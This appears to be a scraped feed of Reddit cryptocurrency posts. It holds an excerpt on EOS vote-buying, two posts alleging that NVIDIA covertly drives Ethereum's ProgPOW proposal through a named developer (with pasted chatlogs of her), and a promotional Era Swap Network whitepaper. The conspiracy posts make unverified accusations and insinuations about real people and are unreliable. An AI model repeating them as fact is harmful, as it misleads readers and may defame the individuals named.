While similar services have launched in Asia, Genpool appears to be the first in the English-speaking EOS world explicitly designed to help token holders find the best payouts for their votes from block producers. (Like bitcoin (BTC) miners, EOS block producers are rewarded with freshly minted cryptocurrency for recording transactions on the public ledger.) In short, Genpool lets EOS (EOS) holders get paid to participate in governance.
To critics, this fulfills longstanding fears that in a system where governance is delgated, the richest will dominate. Permitting payments makes it even easier for the wealthiest to cement their position.
There is nothing stopping a validator from acting is if it were more than one entity, allowing whales to hold multiple spots on the governing council of block producers, effectively mounting a Sybil attack, the research team at the Binance cryptocurrency exchange wrote in a report released Feb. 18.
"A single actor may register multiple block producer accounts and multiply their voting weight at a negligible cost,” the report said. “Simultaneously, having multiple BP entities allows [that actor] to allocate more block rewards to voters, increasing the competitiveness of the underlying actor."
Binance stopped withdrawals of eos tokens in late January when it saw instability on the network, possibly due to upgrades to the latest version of the EOSIO software released by Block.One. Other exchanges such as Upbit and OKEx paused withdrawals at the time.
submitted by moon525 to u/moon525 [link] [comments]

NVIDIA is engaged in a proxy war for future of proof of work. They call it "progPOW" and the first target is Ethereum. We must stop it now before it reaches Bitcoin Cash. [censorship] [conspiracy]

I tried to post this in /ethereum, but was censored. My post was immediately flagged and the /etheruem subreddit moderators told me that I should post it in a mining subreddit. I have reason to believe that the Ethereum foundation, some of the /ethereum moderators, and some Ethereum developers have been compromised by NVIDIA through proxy agents/assets.
Since this subreddit was founded in anti-censorship, I felt it relevant to post here.
Furthermore, Bitcoin Cash will be in danger if progPOW is merged into the Ethereum codebase. If Ethereum forks to this new PoW algorithm, its proponents will use that as an excuse to lobby for its inclusion in Bitcoin Cash.
If you are interested in this topic, bookmark my username ugtarmas and read my previous posts on this topic. I will be posting more.
First up, my previous posts:
Archive: http://archive.is/kK1lE
Archive: http://archive.is/ZikY4
Next up, my post that was censored:
Now that my posts have put me on Kristy's Leigh Anne Minehan's radar, she and her various shills have begun to manufacture a smear campaign against me, and have attempted to implicate my company in "just someone else protecting their hardware investment".
I would like to address this head-on. Neither I, nor my company, have purchased ETH ASICs or any meaningful quantity of AMD GPUs. In fact, I bought over $100,000 worth NVIDIA GPUs {invoices}, and I am still arguing against progPOW.
As I have mentioned in my previous posts, progPOW will not stop ASICs, it will only increase the R&D cost of making them such that only the people closest to the algorithm will benefit. How do I know this? Well, because Kristy is already offering consulting to ASIC manufacturers who have already claimed that ASICs can be 8x faster than GPUs on progPOW.
Kristy and her team will have no shortage of work available helping ASIC manufacturers develop progPOW ASICs, and get paid handsomely for it. She has already proposed to work together with Linzhi. She has already worked on ASIC designs for Genesis Mining, Bitmain, and NVIDIA.
Imagine that you are an ASIC manufacturer and you want to complete with Bitmain, Linzhi, and NVIDIA. You do the R&D, which costs a few million. Then, right before you take your product to market, NVIDIA's influence in progPOW destroys your entire company. Now imagine that this happens to all potential ASIC competitors.
Meanwhile, Kristy's team offers paid consulting for all incumbent ASIC manufacturers. What could have been a healthy and competitive ecosystem is now dominated exclusively by a select few. The push for progPOW is nothing more than a cash grab by special interests. It reminds me of when Benjamin Lawsky pushed for the BitLicense bill, then immediately retired from the public sector and went to work for Ripple/XRP to help the private sector circumnavigate his very own BitLicense.
My only hope is that, before the ETH developers decide on forking to progPOW, they look at more than just its technical aspects, and look at the economic aspects. There are some people out that claim we must judge projects solely by its merits, but doing that misses the bigger picture. progPOW would not exist without the team responsible for making it, who stands to benefit massively from its inception.
Onward:
The connection between Core Scientific, NVIDIA, and progPOW (and possibly CSW/Coingeek)
submitted by ugtarmas to btc [link] [comments]

Continued censorship involving Ethereum's proposed fork to progPOW.

Our friends at Ethereum are subject to continued manipulation into forking their coin to progPOW. I decided to post this in /btc because it is the last bastion of free speech in the crypto community.
Today, after drawing attention to the sketchy history of progPOW's original proponent, my post was subjected to massive vote manipulation, and eventually deleted.
I have long suspected that progPOW favors NVIDIA miners, given the deep connections that progPOW's development team has to NVIDIA. Today, the progPOW team freely admitted that AMD miners will suffer a larger hashrate decrease compared to NVIDIA miners, so I created a poll:
Ethereum developers want to fork to ETH to progPOW [1], a proof-of-work algorithm that gives AMD GPUs a stronger hashrate penalty compared to NVIDIA [2][3]. Should Ethereum use ProgPOW for Proof-of-Work? Cast your vote with Ethereum [4].
Sources:
Below is my post that was deleted, in its entirety.
If you are curious about the CSW/Coingeek connection, scroll down.
Previous Posts
Criticism and Soft Power
I have received criticism for my posts mostly due to what people call "character attacks." I have two things to say about that:
  1. I have never engaged in any character attacks. In all cases, the character has made their modus operandi known by themselves, and I have simply shined a light on it. I don't need call people "mentally unstable gentlemen" [--source, Ohgodagirl Twitter] to get my point across.
  2. Algorithm change discussions must include economic and political introspection as well as a discussion of the proposed change's technical details. As I have stated before, progPOW would not exist without the people responsible for creating it. We must look at these people's history, character, prior accomplishments, and industry connections. The discussion must exist outside the scope of the proposed change, not inside of it.
Example: When people criticize my posts for "not looking at the technical details", they are making a mistake. If someone asked "which should we kill more often: baby seals or baby kittens?", we don't all immediately start discussing the optimal relation of kittens-per-second to seals-per-second that can be killed. No, our first reaction is "what the fuck, why should we kill anything?"
Onward
Customer complaints from people who bought cloud contracts from Kristy's previous company:
Coingeek Connection
Previously, I had promised to provide information regarding the CSW/Coingeek and Core Scientific connection.
When I was president of ImageShack.com (2003-2011), someone wanted to buy our company. When this happens, the buyer and seller usually write a purchase agreement similar to the business in which they are involved. This is done to ensure that the purchase is executed. In ImageShack's case, the buyer bought $500,000 worth of advertising from us. The logic was that ImageShack would be acquired, so they actually would pay themselves. If they didn't buy ImageShack, they would owe us $500,000.
Given the partnership between Core Scientific (Kristy's employer) and "Squire Mining" (effectively, Coingeek), I would not be surprised if Coingeek and Core Scientific made such an agreement, as well. In their case, it would likely be a hosting agreement. Since Coingeek has many ASICs, and Core Scientific is a large mining facility, I would not be surprised if those Coingeek ASICs are hosted by Core Scientific.
Individuals close to these parties can verify those claims, but I cannot share the proof at this time without revealing the identity of my sources.
Chatlog Dumps
Today, I also provide public comments from chatlog dumps showcasing Kristy Leigh Anne Minehan's deep connection to NVIDIA:
01/28/2018 - 22:34<@OhGodAGirl> Yo. ystarnaud/sling00: **I'll be meeting NV next week**. I think it's next week. The 4th! Anyway; if you have NVIDIA fixes you need for EthOS or something you want special attention on, PM me. 02/05/2018 - 06:47<@OhGodAGirl> Also I got a USB shaped like a NVIDIA GTX. It's the best thing ever. 02/05/2018 - 06:50<@OhGodAGirl> https://usercontent.irccloud-cdn.com/file/ffwT8M2j/IMG_2726.JPG 02/05/2018 - 06:50<@OhGodAGirl> Look at this adorable little shit. 
"Ah, but there's a catch. These USB drives are extremely rare—Nvidia only cranked out a couple thousand of these drives and will be giving them away to press and "influencers" at E3, along with 1,080 registered GeForce Experience members who are opted in to receive communications from Nvidia."
04/22/2018 - 20:17<@sling00> OhGodAGirl: what does ohgodanethlargement do 04/22/2018 - 20:17< cYnIxX3> https://youtu.be/2mj1nCfFvlI?t=2m16s 04/22/2018 - 20:19< cYnIxX3> sling00, about 10-25mh improvement to 1080 gpus. 04/22/2018 - 20:19< __virus__> about 40-50% improvement afaik 04/22/2018 - 20:21< OhGodAGirl> But...it's not under because NVIDIA asked me not to. 04/21/2018 - 16:51< OhGodAGirl> I have a ton of private tools for Mineority 04/21/2018 - 16:51< OhGodAGirl> Right now our Equihash kernel has a 25% advantage over Claymore. 04/21/2018 - 16:52< PL3> 25% on amds? 04/21/2018 - 16:52< OhGodAGirl> NVIDIA ;) 04/21/2018 - 16:52< PL3> you have claymore nvidia equi miner? 04/21/2018 - 16:52< OhGodAGirl> We're a NV only company. For now. 04/29/2018 - 00:53< OhGodAGirl> So uh, NVIDIA showed ETHlargement at an executive meeting 04/29/2018 - 00:53< OhGodAGirl> They thought it was hillarious 04/29/2018 - 00:53< acv_> that is awesome. 04/29/2018 - 01:22< OhGodAGirl> So many dicks on Youtube though 04/29/2018 - 01:22< OhGodAGirl> "RA RA IT'S A SCAM" 04/29/2018 - 01:22< OhGodAGirl> "RA RA IT WILL STEAL ALL YOUR PRIVKEYS" 04/29/2018 - 01:22< OhGodAGirl> "RA RA NO ONE IS EVER NICE IN THIS WORLD' 04/29/2018 - 01:22< OhGodAGirl> Well dammit I'm a nice person. =( 
submitted by ugtarmas to btc [link] [comments]

Era Swap Network White Paper

Era Swap Network White Paper

Era Swap Network

White Paper



DISCLAIMER
This Whitepaper is for Era Swap Network. Its purpose is solely to provide prospective community members with information about the Era Swap Ecosystem & Era Swap Network project. This paper is for information purposes only and does not constitute and is not intended to be an offer of securities or any other financial or investment instrument in any jurisdiction.
The Developers disclaim any and all responsibility and liability to any person for any loss or damage whatsoever arising directly or indirectly from (1) reliance on any information contained in this paper, (2) any error, omission or inaccuracy in any such information, or (3) any action resulting therefrom
Digital Assets are extremely high-risk, speculative products. You should be aware of the risks involved and fully consider before participating in Digital assets whether it’s appropriate for you. You should only participate if you are an experienced investor with sophisticated knowledge of financial markets and you fully understand the risks associated with digital assets. We strongly advise you to take independent professional advice before making any investment or participating in any way. You should check what rules and protections apply to your respective jurisdictions before investing or participating in any way. The Creators & community will not compensate you for any losses from trading, investment or participating in any way. You should read whitepaper carefully before participating and consider whether these products are right for you.

TABLE OF CONTENT

· Abstract
· Introduction to Era Swap Network
· Development Overview
· Era Swap Utility Platform
· Alpha-release Development Plan
· Era Swap Network Version 1: Specification
· Bunch Structure: 10
· Converting ES-ERC20 to ES-Na:
· Conclusion:
· Era Swap Ecosystem
· Social Links

Abstract

The early smart contracts of Era Swap Ecosystem like TimeAlly, Newly Released Tokens, Assurance, BetDeEx of Era Swap Ecosystem, are deployed on Ethereum mainnet. These smart contracts are finance-oriented (DeFi), i.e. most of the transactions are about spending or earning of Era Swap tokens which made paying the gas fees in Ether somewhat intuitive to the user (withdrawal charges in bank, paying tax while purchasing burgers) but transactions that are not token oriented like adding a nominee or appointee voting also needs Ether to be charged. As more Era Swap Token Utility platform ideas kept appending to the Era Swap Main Whitepaper, more non-financial transaction situations arise like updating status, sending a message, resolving a dispute and so on. Paying extensively for such actions all day and waiting for the transaction to be included in a block and then waiting for enough block confirmations due to potential chain re-organizations is counter-intuitive to existing free solutions like Facebook, Gmail. This is the main barrier that is stopping Web 3.0 from coming to the mainstream.
As alternatives to Ethereum, there are few other smart contract development platforms that propose their own separate blockchain that features for higher transaction throughput, but they compromise on decentralization for improving transaction speeds. Moreover, the ecosystem tools are most advancing in Ethereum than any other platform due to the massive developer community.
With Era Swap Network, the team aims to achieve scalability, speed and low-cost transactions for Era Swap Ecosystem (which is currently not feasible on Ethereum mainnet), without compromising much on trustless asset security for Era Swap Community users.

Introduction to Era Swap Network

Era Swap Network (ESN) aims to solve the above-mentioned problems faced by Era Swap Ecosystem users by building a side-blockchain on top of Ethereum blockchain using the Plasma Framework.
Era Swap Network leverages the Decentralisation and Security of Ethereum and the Scalability achieved in the side-chain, this solves the distributed blockchain trilema. In most of the other blockchains, blocks are a collection of transactions and all the transactions in one block are mined by a miner in one step. Era Swap Network will consist of Bunches of Blocks of Era Swap Ecosystem Transactions.

Decentralization

Layer 2


Scalable and Secure

A miner mines all the blocks in a bunch consequently and will commit the bunch-root to the ESN Plasma Smart Contract on Ethereum mainnet.

Development Overview
Initially, we will start with a simple Proof-of-Authority (PoA) based consensus of EVM to start the development and testing of Era Swap Ecosystem Smart Contracts as quickly as possible on the test-net. We will call this as an alpha-release of ESN test-net and only internal developers will work with this for developing smart contracts for Era Swap Ecosystem. User’s funds in a Plasma implementation with a simple consensus like PoA are still secured as already committed bunch-roots cannot be reversed.
Eventually, we want to arrive on a more control-decentralized consensus algorithm like Proof-of-Stake (PoS) probably, so that even if the chain operator shuts down their services, a single Era Swap Ecosystem user somewhere in the world can keep the ecosystem alive by running software on their system and similarly more people can join to decentralize the control further. In this PoS version, we will modify the Parity Ethereum client in such a way, that at least 50% of transaction fees collected will go to the Luck Pool of NRT Smart Contract on Ethereum mainnet and rest can be kept by miner of the blocks/bunch of blocks if they wish. After achieving such an implementation, we will release this as a beta version to the community for testing the software on their computers with Kovan ERC20 Era Swaps (Ethereum test-net).

Era Swap Decentralised Ecosystem
Following platforms are to be integrated:
  1. Era Swap Token Contract (adapted ERC20 on Ethereum) The original asset will lie on Ethereum to avoid loss due to any kind of failure in ESN.
  2. Plasma Manager Contract (on Ethereum) To store ESN bunch headers on Ethereum.
  3. Reverse Plasma Manager Contract (on ESN) Bridge to convert ES to ES native and ES native to ES. User deposits ES on Mainnet Plasma, gives proof on ESN and gets ES native credited to their account in a decentralised way.
  4. NRT Manager Contract (on Ethereum or on ESN) If it is possible to send ES from an ESN contract to luck pool of NRT Manager Contract on Ethereum, then it’s ok otherwise, NRT Manager will need to be deployed on ESN for ability to add ES to luck pool.
  5. Era Swap Wallet (React Native App for managing ESs and ES natives) Secure wallet to store multiple private keys in it, mainly for managing ES and ES native, sending ES or ES native, also for quick and easy BuzCafe payments.
  6. TimeAlly (on Ethereum or on ESN) On whichever chain NRT Manager is deployed, TimeAlly would be deployed on the same chain.
  7. Assurance (on Ethereum or on ESN) On whichever chain NRT Manager is deployed, TimeAlly would be deployed on the same chain.
  8. DaySwappers (on ESN) KYC manager for platform. For easily distributing rewards to tree referees.
  9. TimeSwappers (on ESN) Freelance market place with decentralised dispute management.
  10. SwappersWall (on ESN) Decentralised social networking with power tokens.
  11. BuzCafe (on ESN) Listing of shops and finding shops easily and quick payment.
  12. BetDeEx (on ESN) Decentralised Prediction proposals, prediction and results.
  13. DateSwappers (on ESN) Meeting ensured using cryptography.
  14. ComputeEx (on Ethereum / centralised way) Exchange assets.
  15. Era Swap Academy (on ESN / centralised way) Learn. Loop. Leap. How to implement ES Academy is not clear. One idea is if content is constantly being modified, then subscription expired people will only have the hash of old content while new content hash is only available to people who have done Dayswapper KYC and paid for the course. Dayswapper KYC is required because this way people won’t share their private keys to someone else.
  16. Value of Farmers (tbd) The exchange of farming commodities produced by farmers in VoF can be deposited to warehouses where the depositors will get ERC721 equivalent tokens for their commodities (based on unique tagging).
  17. DeGameStation (on ESN) Decentralised Gaming Station. Games in which players take turns can be written in Smart Contract. Games like Chess, Poker, 3 Patti can be developed. Users can come to DeGameStation and join an open game or start a new game and wait for other players to join.

Alpha-release Development Plan
  1. Deploying Parity Node customized according to Era Swap Whitepaper with PoA consensus.
  2. Setting up Plasma Smart Contracts.
  3. Creating a bridge for ERC20 Swap from Ethereum test-net to ESN alpha test-net.

Alpha Version
Era Swap Network Version 1 : Specification
The Version 1 release of ESN plans to fulfill the requirements for political decentralisation and transparency in dApps of Era Swap Ecosystem using Blockchain Technology. After acquiring sufficient number of users, a version 2 construction of ESN will be feasible to enable administrative decentralization, such that the Era Swap Ecosystem will be run and managed by the Era Swap Community and will no longer require the operator to support for it's functioning.
Era Swap Network (ESN) Version 1 will be a separate EVM-compatible sidechain attached to Ethereum blockchain as it’s parent chain. ESN will achieve security through Plasma Framework along with Proof-of-Authority consensus for faster finality. The idea behind plasma framework is to avoid high transaction fees and high transaction confirmation times on Ethereum mainnet by instead doing all the ecosystem transactions off-chain and only post a small information to an Ethereum Smart Contract which would represent hash of plenty of ecosystem transactions. Also, to feature movement of Era Swap Tokens from Ethereum blockchain to ESN using cryptographic proof, reverse plasma of Ethereum on ESN will be implemented.
Also, submitting hash of each ESN blocks to ESN Plasma Smart Contract on Ethereum would force ESN to have a block time equal to or more than Ethereum’s 15 second time as well as it would be very much costly for operator to post lot of hashes to an Ethereum Smart Contract. This is why, merkle root of hashes of bunch of blocks would instead be submitted to ESN Plasma Smart Contact on Ethereum.
Actors involved in the ESN:
  1. Block Producer Nodes Lesser the number of nodes, quicker is the block propagation between block producers which can help quick ecosystem transactions. We find that 7 block producers hosted on different could hosting companies and locations reduces the risk of single point of failure of Era Swap Ecosystem and facilitates 100% uptime of dApps. Block Producer Nodes will also be responsible to post the small information to the Blockchain.
  2. Block Listener Nodes Rest of the nodes will be Block Listeners which will sync new blocks produced by the block producer nodes. Plenty of public block listener nodes would be setup in various regions around the world for shorter ping time to the users of Era Swap Ecosystem. Users would submit their Era Swap Ecosystem transactions to one of these public nodes, which would relay them to rest of the Era Swap Network eventually to the block producer nodes which would finalize a new block including the user transaction.
  3. Bunch Committers This will be an instance in the block producers which will watch for new blocks confirmed on ESN and will calculate bunch merkle roots and will submit it to ESN Plasma Smart Contract. This instance will also post hash of new Ethereum blocks to ESN (after about 10 confirmations) for moving assets between both the blockchain.
  4. Users These will be integrating with dApps which would be connected to some public ESN nodes or they can install a block listner node themselves. They can sign and send transactions to the node which they are connected to and then that node will relay their transactions to block producer nodes who would finalise a block including their transaction.

Bunch Structure

A Bunch Structure in Smart Contract will consist of the following:
• Start Block Number: It is the number of first ESN block in the bunch.
• Bunch Depth: It is Merkle Tree depth of blocks in the bunch. For e.g. If bunch depth is 3, there would be 8 blocks in the bunch and if bunch depth is 10, there would be 1024 blocks in the bunch. Bunch depth of Bunches on ESN Plasma Contract is designed to be variable. During the initial phases of ESN, it would be high, for e.g. 15, to avoid ether expenditure and would be decreased in due course of time.
• Transactions Mega Root: This value is the merkle root of all the transaction roots in the bunch. This is used by Smart Contract to verify that a transaction was sent on the chain.
• Receipts Mega Root: This value is the merkle root of all the receipt roots in the bunch. This is used to verify that the transaction execution was successful.
• Timestamp: This value is the time when the bunch proposal was submitted to the smart contract. After submission, there is a challenge period before it is finalised.

Converting ES-ERC20 to ERC-NA and BACK

On Ethereum Blockchain, the first class cryptocurrency is ETH and rest other tokens managed by smart contracts are second class. On ESN, there is an advancement to have Era Swaps as the first class cryptocurrency. This cryptocurrency will feature better user experience and to differentiate it from the classic ERC20 Era Swaps, it will be called as Era Swap Natives (ES-Na). According to the Era Swap Whitepaper, maximum 9.1 Million ES will exist which will be slowly released in circulation every month.
Era Swaps will exist as ES-ERC20 as well as in form of ES-Na. One of these can be exchanged for the other at 1:1 ratio.
Following is how user will convert ES-ERC20 to ES-Na:
  1. User will give allowance to a Deposit Smart Contract, and following that call deposit method to deposit tokens to the contract.
  2. On transaction confirmation, user will paste the transaction hash on a portal which will generate a Proof of Deposit string for the user. This string is generated by fetching all the transactions in the Ethereum Block and generating a Transaction Patricia Merkle Proof to prove that user’s transaction was indeed included in the block and the Receipts Patricia Merkle Proof to confirm that the user’s transaction was successful.
  3. Using the same portal, user will submit the generated proofs to a Smart Contract on ESN, which would release funds to user. Though, user will have to wait for the Etheruem block roots to be posted to ESN after waiting for confirmations which would take about 3 minutes. Once, it’s done user’s proofs will be accepted and will receive exact amount of ES- Na on ESN.
Following is how user will convert ES-Na to ES-ERC20:
  1. ES-Na being first class cryptocurrency, user will simply send ES-Na to a contract.
  2. User will paste the transaction hash on a portal which will generate a Proof of Deposit for the user. Again ES-Na being first class cryptocurrency, Transaction Patricia Merkle Proof is enough to prove that user’s transaction was indeed included in the block. Another thing which will be generated is the block inclusion proof in the bunch.
  3. User will have to wait for the bunch confirmation to the Plasma Smart Contract and once it’s done, user can send the proof to the Plasma Smart Contract to receive ES-ERC20.

HARD Exit

Since the blocks are produced and transactions are validated by few block producers, it exposes a possibility for fraud by controlling the block producer nodes. Because ESN is based on the Plasma Model, when failure of sidechain occurs or the chain halts, users can hard exit their funds directly from the Plasma Smart Contract on Ethereum by giving a Proof of Holdings.

HOld ES Tokens Swapping with New ES Tokens

The old ES Tokens will be valueless as those tokens will not be accepted in ESN because of NRT (New Released Tokens) and TimeAlly contracts on mainnet which is causing high gas to users, hence reducing interactions. Also, there was an event of theft of Era Swap Tokens and after consensus from majority of holders of Era Swap Tokens; it was decided to create a new contract to reverse the theft to secure the value of Era Swap Tokens of the community. Below is the strategy for swapping tokens:
TimeAlly and TSGAP: Majority of Era Swap Community have participated in TimeAlly Smart Contract in which their tokens are locked for certain period of time until which they cannot move them. Such holders will automatically receive TimeAlly staking of specific durations from the operator during initialization of ESN.
Liquid Tokens: Holders of Liquid Era Swap Tokens have to transfer the old tokens to a specified Ethereum wallet address managed by team. Following that, team will audit the token source of the holder (to eliminate exchange of stolen tokens) and send new tokens back to the wallet address.

Post-Genesis Tokens Return Program

Primary asset holding of Era Swap tokens will exist on Ethereum blockchain as an ERC20 compatible standard due to the highly decentralised nature of the blockchain. Similar to how users deposit tokens to an cryptocurrency exchange for trading and then withdraw the tokens back, users will deposit tokens to ESN Contract to enter Era Swap Ecosystem and they can withdraw it back from ESN Contract for exiting from ecosystem network. The design of the token system will be such that, it will be compatible with the future shift (modification or migration of ESN version 1) to ESN version 2, in which an entirely new blockchain setup might be required.
To manage liquidity, following genesis structure will be followed:

Holder ES-ERC20 ES-Na
Team Wallet 1.17 billion (Circulating Supply) 0
Locked in Smart Contract 7.93 billion (pending NRT releases) 9.1 billion
Though it looks like there are 9.1 * 2 = 18.2 Billion ES, but the cryptographic design secures that at any point in time at least a total of 9.1 billion ES (ES-ERC20 + ES-Na) will be locked. To unlock ES-Na on ESN, an equal amount of ES-ERC20 has to be locked on Ethereum and vice-versa.
9.1 billion ES-ERC20 will be issued by ERC20 smart contract on Ethereum Blockchain, out of which the entire circulating supply (including liquid and TimeAlly holdings) of old ES will be received to a team wallet.
TimeAlly holdings of all users will be converted to ES-Na and distributed on ESN TimeAlly Smart Contract by team to the TimeAlly holders on their same wallet address.
Liquid user holdings will be sent back to the users to the wallet address from which they send back old ES tokens (because some old ES are deposited on exchange wallet address).
ES-Na will be issued in the genesis block to an ESN Manager Smart Contract address. It will manage all the deposits and withdrawals as well as NRT releases.

Attack Vectors


Following are identified risks to be taken care of during the development of ESN:
Network Spamming: Attackers can purchase ES from the exchange and make a lot of transactions between two accounts. This is solved by involving gas fees. A setting of 200 nanoES minimum gas price will be set, which can be changed as per convenience.
DDoS: Attackers can query public nodes for computationally heavy output data. This will overload the public node with requests and genuine requests might get delayed. Block producers RPC is private, so they will continue to produce blocks. To manage user’s denial of service, the provider in dApps needs to be designed in such a way such that many public nodes will be queried simple information (let’s say latest block number) and the one which response quickly to user will be selected.
AWS is down: To minimize this issue due to cloud providers down, there will be enough nodes on multiple cloud providers to ensure at least one block producer is alive.
User deposit double spending: User deposits ES on Ethereum, gets ES-Na on ESN. Then the issue happens that there are re-org on ETH mainnet and the user’s transaction is reversed. Since ETH is not a fixed chain and as per PoW 51% attack can change the blocks. As Ethereum is now enough mature and by statistics forked blocks are at most of height 2. So it is safe to consider 15 confirmations.
Exit Game while smooth functioning: User starts a hard exit directly from Plasma Smart Contract on Ethereum, then spends his funds from the plasma chain too. To counter this, the exit game will be disabled, only when ESN halts, i.e. fails to submit block header within the time the exit game starts. This is because it is difficult to mark user’s funds as spent on ESN.
Vulnerability in Ecosystem Smart Contracts: Using traditional methods to deploy smart contracts results in a situation where if a bug is found later, it is not possible to change the code. Using a proxy construction for every ecosystem smart contract solves this problem, and changing a proxy can be given to a small committee in which 66% of votes are required, this is to prevent a malicious change of code due to compromising of a single account or similar scenario.
ChainID replay attacks: Using old and traditional ways to interact with dApps can cause loss to users, hence every dApp will be audited for the same.

Conclusion

Era Swap Network is an EVM-compatible sidechain attached to the Ethereum blockchain through Plasma Framework. This allows off-chain processing of Era Swap Ecosystem transactions and posting only the hash of the bunch to Ethereum. This greatly reduces the high network fee and confirmation time issues faced by the current Era Swap Ecosystem DApps deployed on Ethereum. Also, having a separate EVM-compatible blockchain tailored to Era Swap Ecosystem improves the user experience to a higher extent. Since by design, Plasma Framework makes the Era Swap Network as secure as the Ethereum Network, user's funds on the network would be secure as well.
We believe Era Swap Network will help scale dApps of Era Swap Ecosystem to onboard the increasing numbers of users.


Era Swap Ecosystem
Era Swap Ecosystem consist of multiple interlinked platforms which is powered by Era swap (ES) token, a decentralized utility token to be used on below utility platforms. Users can access the Platforms through Era Swap Life which is the Single Sign on (SSO) gateway to the one world of Era Swap Ecosystem.
Era Swap Life: https://eraswap.life/
TimeAlly DApp -> Decentralized Token Vesting: https://www.timeally.io/
BetDeEx -> Decentralized prediction platform: https://www.betdeex.com/
Swappers Wall -> Social Time Ledgerise: https://timeswappers.com/swapperswall
TimeSwappers -> Global P2P marketplace: https://timeswappers.com/
BuzCafe -> Connects local P2P outlets: https://buzcafe.com/
DaySwappers -> Unique Affiliate Program: https://dayswappers.com/
Era Swap Academy -> E-mart for skill development: https://eraswap.academy/
Value of Farmers (VOF) -> Farming ecosystem: http://valueoffarmers.org/ coming soon
ComputeEx -> P2P lending and borrowing: https://computeex.net/ coming soon
DateSwappers -> Next gen dating: coming soon
Smart Contract address

Era Swap Token (ES)
https://etherscan.io/address/0xef1344bdf80bef3ff4428d8becec3eea4a2cf574#code

Newly Released Token (NRT) https://etherscan.io/address/0x20ee679d73559e4c4b5e3b3042b61be723828d6c#code

TimeAlly DApp
https://etherscan.io/address/0x5630ee5f247bd6b61991fbb2f117bbeb45990876#code

BetDeEx DApp https://etherscan.io/address/0x42225682113E6Ed3616B36B4A72BbaE376041D7c#code
TSGAP DApp
https://etherscan.io/address/0xbad9af4db5401b7d5e8177a18c1d69c35fc03fd3#code

White Paper
Era Swap Whitepaper: https://eraswaptoken.io/pdf/eraswap_whitepaper.pdf
Era Swap Light Paper: https://eraswaptoken.io/pdf/eraswap_lightpaper.pdf

Howey Test
Howey Test: https://eraswaptoken.io/era-swap-howey-test-letter-august7-2018.php

Era Swap SOCIAL LINKS
Telegram: https://t.me/eraswap
Twitter: https://twitter.com/eraswaptec
Facebook: https://www.facebook.com/eraswap/
Instagram: https://www.instagram.com/eraswap/
BitcoinTalk: https://bitcointalk.org/index.php?topic=5025979.msg45502457
Youtube: https://www.youtube.com/channel/UCGCP4f5DF1W6sbCjS6y3T1g
LinkedIn: https://www.linkedin.com/company/eraswap/
Reddit: https://www.reddit.com/useEraSwap
Medium: https://medium.com/@eraswap
Tumblr: https://eraswap.tumblr.com/
Mix: https://mix.com/eraswap
Pinterest: https://www.pinterest.com/eraswapt/
GitHub: https://github.com/KMPARDS/EraSwapSmartContracts
submitted by EraSwap to u/EraSwap [link] [comments]

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